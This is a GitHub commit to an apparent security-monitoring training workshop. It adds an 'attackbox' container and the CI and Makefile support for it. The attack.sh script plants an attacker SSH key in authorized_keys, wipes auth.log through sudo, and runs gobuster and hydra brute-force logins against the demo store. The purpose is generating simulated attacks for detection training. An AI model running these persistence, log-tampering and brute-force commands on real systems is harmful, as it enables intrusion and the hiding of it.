Skip to content
This repository was archived by the owner on Apr 28, 2025. It is now read-only.

Commit 226fa38

Browse files
Attackbox updates (#186)
* add nginx * remove local * add nginx * cleanup * add label, keep alive script * supress attackbox logs * clean local compose * add ability to hide stack_trace in ruby logs * update readme * update readme * add nginx workflow * enhancements for security story (#189) * update development guide and add Makefile * refine Makefile and incorporate nginx logs * modify to ensure folder name consistent with image name * add environment vars to abstract host and port from web attacks * minor fixes Co-authored-by: Andrew J Krug <andrewkrug@gmail.com>
1 parent 9d16c73 commit 226fa38

File tree

20 files changed

+357
-123
lines changed

20 files changed

+357
-123
lines changed

.github/workflows/attackbox.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ on:
44
push:
55
branches: [ main ]
66
paths:
7-
- attack-box/**
7+
- attackbox/**
88
workflow_dispatch:
99
branches: [ main ]
1010

@@ -31,7 +31,7 @@ jobs:
3131
- name: Build and Push Docker Image
3232
uses: docker/build-push-action@v2
3333
with:
34-
context: ./attack-box
34+
context: ./attackbox
3535
platforms: linux/amd64
3636
push: true
3737
tags: ddtraining/attackbox:latest

.github/workflows/nginx.yml

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
name: Nginx Test and Build
2+
3+
on:
4+
push:
5+
branches: [ main ]
6+
paths:
7+
- nginx/**
8+
workflow_dispatch:
9+
branches: [ main ]
10+
11+
jobs:
12+
13+
build:
14+
15+
runs-on: ubuntu-latest
16+
17+
steps:
18+
- name: Checkout Code
19+
uses: actions/checkout@v2
20+
with:
21+
fetch-depth: 0
22+
- name: Set up QEMU
23+
uses: docker/setup-qemu-action@v1
24+
- name: Setup Docker Buildx
25+
uses: docker/setup-buildx-action@v1
26+
- name: Login to Docker Hub
27+
uses: docker/login-action@v1
28+
with:
29+
username: ${{ secrets.DOCKERHUB_USERNAME }}
30+
password: ${{ secrets.DOCKERHUB_TOKEN }}
31+
- name: Build and Push Docker Image
32+
uses: docker/build-push-action@v2
33+
with:
34+
context: ./nginx
35+
platforms: linux/amd64
36+
push: true
37+
tags: ddtraining/nginx:latest

.github/workflows/release.yml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,3 +58,6 @@ jobs:
5858
docker pull ddtraining/attackbox:latest
5959
docker tag ddtraining/attackbox:latest ddtraining/attackbox:$TAG
6060
docker push ddtraining/attackbox:$TAG
61+
docker pull ddtraining/nginx:latest
62+
docker tag ddtraining/nginx:latest ddtraining/nginx:$TAG
63+
docker push ddtraining/nginx:$TAG

Makefile

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
ROOT_DIR := $(shell dirname $(realpath $(lastword $(MAKEFILE_LIST))))
2+
COMMIT_HASH := $(shell git rev-parse --short HEAD)
3+
DOCKER_CONTAINERS := ads-service ads-service-fixed ads-service-errors \
4+
discounts-service discounts-service-fixed attackbox nginx
5+
STOREFRONT_CONTAINERS := \
6+
store-frontend-broken-no-instrumentation \
7+
store-frontend-broken-instrumented \
8+
store-frontend-instrumented-fixed
9+
RUN_ATTACKS := 1
10+
VERSION := 2.1.0
11+
12+
# Note that this Makefile is a work in progress and may duplicate some code in github actions
13+
14+
all:
15+
@echo 'Available make targets:'
16+
@grep '^[^#[:space:]^\.PHONY.*].*:' Makefile
17+
18+
.PHONY: build-storefront
19+
build-storefront:
20+
for container in $(STOREFRONT_CONTAINERS); do \
21+
echo "Building storefront-container $$container against local source." \
22+
&& cd store-frontend/ && \
23+
docker build . -f storefront-versions/$$container/Dockerfile -t ddtraining/$$container:latest && \
24+
cd $(ROOT_DIR); \
25+
done
26+
27+
28+
.PHONY: build
29+
build: build-storefront
30+
for container in $(DOCKER_CONTAINERS); do \
31+
echo "Building $$container against local source." \
32+
&& cd $$container && \
33+
docker build . -t ddtraining/$$container:latest && \
34+
cd $(ROOT_DIR); \
35+
done
36+
@echo 'All containers have been built locally including the storefront.'
37+
38+
tag-storefront:
39+
@echo 'Tagging local storefront containers with version: $(VERSION)'
40+
for container in $(STOREFRONT_CONTAINERS); do \
41+
echo "Tagging $$container with $(VERSION)." && \
42+
docker tag ddtraining/$$container:latest ddtraining/$$container:$(VERSION) ;\
43+
done
44+
45+
.PHONY: tag-local-containers
46+
tag-local-containers: tag-storefront
47+
@echo 'Tagging local containers with version: $(VERSION)'
48+
for container in $(DOCKER_CONTAINERS); do \
49+
echo "Tagging $$container with $(VERSION)." && \
50+
docker tag ddtraining/$$container:latest ddtraining/$$container:$(VERSION) ;\
51+
done
52+
@echo 'Tagging complete all storefront and other containers with: $(VERSION)'
53+
54+
55+
.PHONY: clean
56+
clean:
57+
docker system prune -a --volumes
58+
59+
60+
.PHONY: recreate-frontend-code
61+
recreate-frontend-code:
62+
cd store-frontend/src/ && \
63+
cp -R store-frontend-initial-state store-frontend-broken-instrumented && \
64+
cd store-frontend-broken-instrumented && \
65+
patch -t -p1 < ../broken-instrumented.patch && \
66+
cd .. && \
67+
cp -R store-frontend-initial-state store-frontend-instrumented-fixed && \
68+
cd store-frontend-instrumented-fixed && \
69+
patch -t -p1 < ../instrumented-fixed.patch
70+
71+
72+
create-frontend-fixed-diff:
73+
cd store-frontend/src/ && \
74+
rm instrumented-fixed.patch && \
75+
diff -urN store-frontend-initial-state store-frontend-instrumented-fixed | tee instrumented-fixed.patch
76+
77+
78+
create-broken-instrumented-diff:
79+
cd store-frontend/src/ && \
80+
rm broken-instrumented.patch && \
81+
diff -urN store-frontend-initial-state store-frontend-broken-instrumented | tee broken-instrumented.patch
82+
83+
84+
.PHONY: create-frontend-diffs
85+
create-frontend-diffs: create-frontend-fixed-diff create-broken-instrumented-diff
86+
@echo 'Patches for the frontend have been created. Do remember to commit them to git.'
87+
88+
89+
.PHONY: local-attack-scenario-start
90+
#.SILENT:
91+
local-attack-scenario-start:
92+
POSTGRES_USER=postgres \
93+
POSTGRES_PASSWORD=postgres \
94+
ATTACK_HOST=nginx \
95+
ATTACK_PORT=80 \
96+
DD_API_KEY=${DD_API_KEY} \
97+
ATTACK_GOBUSTER=$(RUN_ATTACKS) \
98+
ATTACK_GOBUSTER_INTERVAL=180 \
99+
ATTACK_HYDRA=$(RUN_ATTACKS) \
100+
ATTACK_HYDRA_INTERVAL=120 \
101+
ATTACK_SSH=$(RUN_ATTACKS) \
102+
ATTACK_SSH_INTERVAL=90 \
103+
docker-compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml up --force-recreate -d
104+
@echo 'The local attack scenario has been started. To live tail the logs run the target for local-attack-scenario-logs.'
105+
106+
107+
.PHONY: local-attack-scenario
108+
local-attack-scenario-logs:
109+
docker-compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml logs -f
110+
111+
112+
.PHONY: local-attack-scenario-stop
113+
local-attack-scenario-stop:
114+
docker-compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml stop
115+
116+
117+
.PHONY: local-attack-scenario-restart
118+
local-attack-scenario-restart:
119+
docker-compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml restart

attack-box/README.md

Lines changed: 0 additions & 33 deletions
This file was deleted.

attack-box/attack.sh

Lines changed: 0 additions & 53 deletions
This file was deleted.
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ RUN export DEBIAN_FRONTEND=noninteractive && \
1212
libgtk2.0-dev libmariadb-dev libpq-dev libsvn-dev \
1313
firebird-dev libmemcached-dev libgpg-error-dev \
1414
libgcrypt20-dev openssh-client iputils-ping wordlists \
15-
build-essential libpq-dev p7zip unzip && \
15+
build-essential libpq-dev p7zip unzip jq && \
1616
apt-get clean && \
1717
rm -rf /var/lib/apt/lists/*
1818

attackbox/README.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# Attack Box
2+
3+
This is a container that simulates an adversary attempting to hack the online store.
4+
5+
The script has 3 stages:
6+
1) Malicious SSH configuration
7+
2) Gobuster
8+
3) Hydra
9+
10+
## Deployment
11+
12+
The attack box is configurable via environment variables in the `docker compose` command:
13+
- **ATTACK_SSH**: Set to `1` to run the SSH attack script against the discounts container
14+
- **ATTACK_GOBUSTER**: Set to `1` to run the Gobuster tool for crawling directories on the frontend container
15+
- **ATTACK_HYDRA**: Set to `1` to run the Hydra tool for brute force login
16+
- **ATTACK_SSH_INTERVAL**: Number of seconds between SSH attack invocations (if ommited, SSH attack will run once)
17+
- **ATTACK_GOBUSTER_INTERVAL**: Number of seconds between GOBUSTER invocations (if ommited, GOBUSTER will run once)
18+
- **ATTACK_HYDRA_INTERVAL**: Number of seconds between HYDRA invocations (if ommited, HYDRA will run once)
19+
- **ATTACK_PORT**: The web port you want to run the attacks against for hydra and dirbuster.
20+
- **ATTACK_HOST**: The web host that hydra and dirbuster will attack. ( Probably frontend or nginx )
21+
22+
Here's an example of what a `docker-compose` command would look like if we wanted to run Gobuster every 500 seconds and Hydra every 900 seconds:
23+
24+
```POSTGRES_USER=postgres POSTGRES_PASSWORD=postgres DD_API_KEY=[API KEY] ATTACK_GOBUSTER=1 ATTACK_GOBUSTER_INTERVAL=500 ATTACK_HYDRA=1 ATTACK_HYDRA_INTERVAL=900 ATTACK_HOST=frontend ATTACK_PORT=3000 docker-compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml up```
25+
26+
## Local dev
27+
Run the following commands locally
28+
1. (Optional) Clean local docker environment of all volumes / containers / images: `docker system prune -a --volumes`
29+
2. [Recreate the frontend code](https://github.com/DataDog/ecommerce-workshop/blob/main/development.md#recreating-the-code)
30+
3. Start the app: `POSTGRES_USER=postgres POSTGRES_PASSWORD=postgres DD_API_KEY=[API KEY] ATTACK_GOBUSTER=1 ATTACK_GOBUSTER_INTERVAL=500 ATTACK_HYDRA=1 ATTACK_HYDRA_INTERVAL=900 docker-compose -f deploy/docker-compose/docker-compose-fixed-instrumented-attack.yml up`

attackbox/attack.sh

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
#!/bin/bash
2+
3+
function ssh_attack()
4+
{
5+
# attempt to copy attacker key to discounts
6+
scp -o StrictHostKeyChecking=no ./keys/attacker-key.pub test@discounts:/home/test/.ssh
7+
8+
# attempt to update authorized_keys to have attacker key
9+
ssh -o StrictHostKeyChecking=no test@discounts /bin/bash <<EOT
10+
cat /home/test/.ssh/attacker-key.pub >> /home/test/.ssh/authorized_keys
11+
exit
12+
EOT
13+
14+
# attempt to clear log file and zero out unallocated disk space
15+
ssh -o StrictHostKeyChecking=no -i ./keys/attacker-key test@discounts /bin/bash <<EOT
16+
echo "test" | sudo -S cp /dev/null /var/log/auth.log
17+
echo "test" | sudo -S dd if=/dev/zero of=tempfile bs=1000000 count=10
18+
exit
19+
EOT
20+
}
21+
22+
if [ "${ATTACK_SSH}" = 1 ];
23+
then
24+
if [[ -z "${ATTACK_SSH_INTERVAL}" ]]
25+
then
26+
# run single invocation
27+
ssh_attack
28+
else
29+
# run in a loop
30+
while true
31+
do
32+
ssh_attack
33+
sleep $ATTACK_SSH_INTERVAL
34+
done &
35+
fi
36+
fi
37+
38+
# Add extra sleep to give frontend time to spin up (docker compose dependency is not enough)
39+
sleep 15
40+
41+
if [ "${ATTACK_GOBUSTER}" = 1 ];
42+
then
43+
if [[ -z "${ATTACK_GOBUSTER_INTERVAL}" ]]
44+
then
45+
./gobuster dir -u http://${ATTACK_HOST}:${ATTACK_PORT} -w /usr/share/wordlists/rockyou.txt
46+
else
47+
while true
48+
do
49+
./gobuster dir -u http://${ATTACK_HOST}:${ATTACK_PORT} -w /usr/share/wordlists/rockyou.txt
50+
sleep $ATTACK_GOBUSTER_INTERVAL
51+
done &
52+
fi
53+
fi
54+
55+
if [ "${ATTACK_HYDRA}" = 1 ];
56+
then
57+
if [[ -z "${ATTACK_HYDRA_INTERVAL}" ]]
58+
then
59+
hydra -l admin@storedog.com -P /usr/share/wordlists/rockyou.txt -s ${ATTACK_PORT} ${ATTACK_HOST} http-post-form "/login:utf8=%E2%9C%93&authenticity_token=BonCnTVpWzCfGtgqZ7TiwEcSH89jz30%2F01vkNuVsKyKcC8xCF2DqeHF%2Bc%2B4U2CNWeArygGNPX%2BDvONHHz7Dr6Q%3D%3D&spree_user%5Bemail%5D=admin%40storedog.com&spree_user%5Bpassword%5D=^PASS^&spree_user%5Bremember_me%5D=0&commit=Login:Invalid email or password."
60+
else
61+
while true
62+
do
63+
hydra -l admin@storedog.com -P /usr/share/wordlists/rockyou.txt -s ${ATTACK_PORT} ${ATTACK_HOST} http-post-form "/login:utf8=%E2%9C%93&authenticity_token=BonCnTVpWzCfGtgqZ7TiwEcSH89jz30%2F01vkNuVsKyKcC8xCF2DqeHF%2Bc%2B4U2CNWeArygGNPX%2BDvONHHz7Dr6Q%3D%3D&spree_user%5Bemail%5D=admin%40storedog.com&spree_user%5Bpassword%5D=^PASS^&spree_user%5Bremember_me%5D=0&commit=Login:Invalid email or password."
64+
sleep $ATTACK_HYDRA_INTERVAL
65+
done
66+
fi
67+
fi
68+
69+
# keep container alive
70+
sleep infinity

0 commit comments

Comments
 (0)